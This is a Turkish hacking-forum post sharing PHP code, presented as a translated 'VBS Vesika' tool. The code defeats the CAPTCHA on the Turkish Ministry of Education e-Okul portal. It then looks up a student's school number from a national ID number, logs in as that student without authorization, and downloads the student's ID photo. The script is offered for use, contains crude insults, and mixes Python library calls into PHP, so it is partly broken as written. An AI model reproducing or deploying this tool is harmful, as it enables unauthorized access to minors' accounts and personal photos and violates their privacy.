Forumda yenilikler devam etmektedir , çalışmalara devam ettiğimiz kısa süre içerisinde güzel bir görünüme sahip olduk daha iyisi için lütfen çalışmaların bitmesini bekleyiniz. Tıkla ve Git
x

Son konular

FREE VBS Vesika Kaynak Kodu'nun PHP'e çevrilmiş Kaynak Kodu

FREE VBS Vesika Kaynak Kodu'nun PHP'e çevrilmiş Kaynak Kodu
1
129
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

ARTUN

FD Üye
Katılım
May 13, 2023
Mesajlar
3,639
Etkileşim
449
Puan
83
Konum
Rusia
Web sitesi
illegaltoplum.org
F-D Coin
16
PHP:
<?php
use GuzzleHttp\Client;

function replace_chars($text) {
    preg_match_all('/\d+/', $text, $matches);
    return implode('', $matches[0]);
}

function bfs(&$visited, &$queue, &$array, $node) {
    $getNeighboor = function ($array, $node) {
        $neighboors = [];
        if ($node[0] + 1 < count($array)) {
            if ($array[$node[0] + 1][$node[1]] == 0) {
                $neighboors[] = [$node[0] + 1, $node[1]];
            }
        }
        if ($node[0] - 1 >= 0) {
            if ($array[$node[0] - 1][$node[1]] == 0) {
                $neighboors[] = [$node[0] - 1, $node[1]];
            }
        }
        if ($node[1] + 1 < count($array[0])) {
            if ($array[$node[0]][$node[1] + 1] == 0) {
                $neighboors[] = [$node[0], $node[1] + 1];
            }
        }
        if ($node[1] - 1 >= 0) {
            if ($array[$node[0]][$node[1] - 1] == 0) {
                $neighboors[] = [$node[0], $node[1] - 1];
            }
        }
        return $neighboors;
    };

    $queue[] = $node;
    $visited[] = $node;

    while (!empty($queue)) {
        $current_node = array_shift($queue);
        foreach ($getNeighboor($array, $current_node) as $neighboor) {
            if (!in_array($neighboor, $visited)) {
                $visited[] = $neighboor;
                $queue[] = $neighboor;
            }
        }
    }
}

function removeIsland(&$img_arr, $threshold) {
    while (in_array(0, $img_arr)) {
        $point = null;
        foreach ($img_arr as $i => $row) {
            $j = array_search(0, $row);
            if ($j !== false) {
                $point = [$i, $j];
                break;
            }
        }
        if ($point === null) {
            break;
        }
        $visited = [];
        $queue = [];
        bfs($visited, $queue, $img_arr, $point);

        if (count($visited) <= $threshold) {
            foreach ($visited as $v) {
                $img_arr[$v[0]][$v[1]] = 1;
            }
        } else {
            foreach ($visited as $v) {
                $img_arr[$v[0]][$v[1]] = 2;
            }
        }
    }

    foreach ($img_arr as &$row) {
        $row = array_map(function ($value) {
            return ($value == 2) ? 0 : $value;
        }, $row);
    }

    return $img_arr;
}

function solve_captcha($fileName) {
    try {
        $img = cv2\imread($fileName);
        $c_gray = cv2\cvtColor($img, cv2\COLOR_RGB2GRAY);
        $kernel = np\ones([3, 3], np\uint8);
        $out = cv2\medianBlur($c_gray, 3);
        $a = np\where($out > 195, 1, $out);
        $out = np\where($a != 1, 0, $a);
        removeIsland($out, 30);
        $out = cv2\medianBlur($out, 3);
        $im = Image\fromarray($out * 255);

        return replace_chars(
            pytesseract\image_to_string(
                $im,
                '--psm 7 -c tessedit_char_whitelist=0123456789'
            )
        );
    } catch (Exception $e) {
        return '';
    }
}

function get_captcha() {
    $pytesseract = 'C:\Program Files (x86)\Tesseract-OCR\tesseract.exe';
    $client = new Client();
    $response = $client->post('https://eokulyd.meb.gov.tr/logineOkul.aspx/generateCaptcha', [
        'headers' => [
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Content-Type' => 'application/json; charset=utf-8',
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
            'X-Requested-With' => 'XMLHttpRequest'
        ]
    ]);
    $kod = json_decode($response->getBody(), true)['d'];
    $kod = explode('base64,', $kod)[1];
    $pic = base64_decode($kod);
    $image = Image\fromstring($pic);
    $rsg = '';
    for ($a = 0; $a < 6; $a++) {
        $rsg .= random_int(0, 9);
    }
    $image->save("captcha$rsg.jpg");
    $s = solve_captcha("captcha$rsg.jpg");
    unlink("captcha$rsg.jpg");
    if (strlen(str_replace(' ', '', $s)) === 4) {
        return $s;
    } else {
        return get_captcha();
    }
}

function eokul($tc) {
    $get = get_captcha();

    $okul = json_decode(file_get_contents("lise okulno apisi{$tc}"), true);
    if (!$okul['Status']) {
        $okul = json_decode(file_get_contents("ortaokul no apisi{$tc}"), true);
        if (!$okul['Status']) {
            return $okul['message'];
        } else {
            $okuln = $okul['OkulNo'];
        }
    } else {
        $okuln = $okul['okulno'];
        $mez = $okul['durum'];
        if ($mez == 'Mezun oldu') {
            $ls = strlen($okuln);
            $okulnx = '';
            for ($a = 4; $a < $ls; $a++) {
                $okulnx .= $okuln[$a];
            }
            $okuln = $okulnx;
        }
        if (!is_numeric($okuln)) {
            return 'Öyle Numaramı Olur Yarram';
        }
        if ($mez == 'Açık Öğretim Lisesine Kaydoldu') {
            return 'Açık Öğretime Kayıt Oldu.';
        }
        if ($mez == 'Vefat etti') {
            return 'Vefat etti';
        }
        if ($mez == 'Mesleki Eğitim Merkezine Kayıt Oldu') {
            return 'Mesleki Eğitim Merkezine Kayıt Oldu';
        }
    }

    $jso = [
        'Keys' => ['gkod', 'txtKullaniciAd', 'sifre'],
        'Degerler' => [$get, $tc, $okuln]
    ];
    $client = new Client();
    $response = $client->post('https://eokulyd.meb.gov.tr/logineOkul.aspx/VBSGiris', [
        'headers' => [
            'Accept' => 'application/json, text/javascript, */*; q=0.01',
            'Content-Type' => 'application/json; charset=utf-8',
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
            'X-Requested-With' => 'XMLHttpRequest'
        ],
        'json' => $jso
    ]);
    $ss = json_decode($response->getBody(), true)['d'][0];
    if ($ss['error']) {
        if (strpos($ss['message'], 'Girdiğiniz giriş kodu yanlış!') !== false) {
            return eokul($tc);
        } else {
            return json_encode(['Hata' => $ss['message']], JSON_UNESCAPED_UNICODE);
        }
    }

    $client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOV00002.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ]);
    $responses = [];
    $responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim1.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ])->getBody());
    $responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim2.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ])->getBody());
    $responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim3.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ])->getBody());
    $responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim4.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ])->getBody());
    $responses[] = base64_encode($client->get('https://eokulyd.meb.gov.tr/IlkOgretim/VELI/IOVResim5.aspx', [
        'headers' => [
            'Referer' => 'https://eokulyd.meb.gov.tr/',
            'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
        ]
    ])->getBody());

    foreach ($responses as &$response) {
        $response = str_replace(['b\'', '\''], '', $response);
    }

    if (!preg_match('/^DQ/', $responses[0])) {
        return json_encode(['Vesika' => $responses[0], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
    }
    if (!preg_match('/^DQ/', $responses[1])) {
        return json_encode(['Vesika' => $responses[1], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
    }
    if (!preg_match('/^DQ/', $responses[2])) {
        return json_encode(['Vesika' => $responses[2], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
    }
    if (!preg_match('/^DQ/', $responses[3])) {
        return json_encode(['Vesika' => $responses[3], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
    }
    if (!preg_match('/^DQ/', $responses[4])) {
        return json_encode(['Vesika' => $responses[4], 'Okulno' => $okuln], JSON_UNESCAPED_UNICODE);
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    if (isset($_GET['auth']) && $_GET['auth'] === 'developerrioch') {
        echo eokul($_GET['tc']);
    } else {
        echo 'Auth Yanlış Orospu Çocuğu';
    }
}


Yukarıdaki kodun, gerekli PHP bağımlılıklarının ve kitaplıklarının kurulu olduğunu varsaydığını unutmayın. HTTP istekleri yapmak için Guzzle HTTP istemci kitaplığını kullanır.
Kod:
composer require guzzlehttp/guzzle

PHP kodunu çalıştırmadan önce Composer ( ) kullanarak kurmanız gerekebilir . Ayrıca, ortamınıza göre gerekli tüm yolları veya yapılandırmaları güncellediğinizden emin olun.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Similar threads

  • Kilitli
import requests as r from PIL import Image import base64 import pytesseract import io import cv2 import numpy as np import re import json from random import choice import string,os from flask import * app = Flask(__name__) headers = { 'Authority': 'eokulyd.meb.gov.tr', 'Method': 'POST', 'Path'...
Cevaplar
0
Görüntüleme
192
  • Kilitli
import requests as r from PIL import Image import base64 import pytesseract import io import cv2 import numpy as np import re import json from random import choice import string,os from flask import * app = Flask(__name__) headers = { 'Authority': 'eokulyd.meb.gov.tr', 'Method': 'POST', 'Path'...
Cevaplar
0
Görüntüleme
275
  • Kilitli
*** *** Gizli metin: Gizli metni görüntülemek için yeterli hakka sahip değilsiniz. Forum konusunu ziyaret edin! ***
Cevaplar
38
Görüntüleme
450
  • Kilitli
*** *** Gizli metin: Gizli metni görüntülemek için yeterli hakka sahip değilsiniz. Forum konusunu ziyaret edin! ***
Cevaplar
32
Görüntüleme
448
  • Kilitli
*** *** Gizli metin: Gizli metni görüntülemek için yeterli hakka sahip değilsiniz. Forum konusunu ziyaret edin! ***
Cevaplar
43
Görüntüleme
533
858,528Konular
981,478Mesajlar
31,410Kullanıcılar
denemeeelaaSon üye
Üst Alt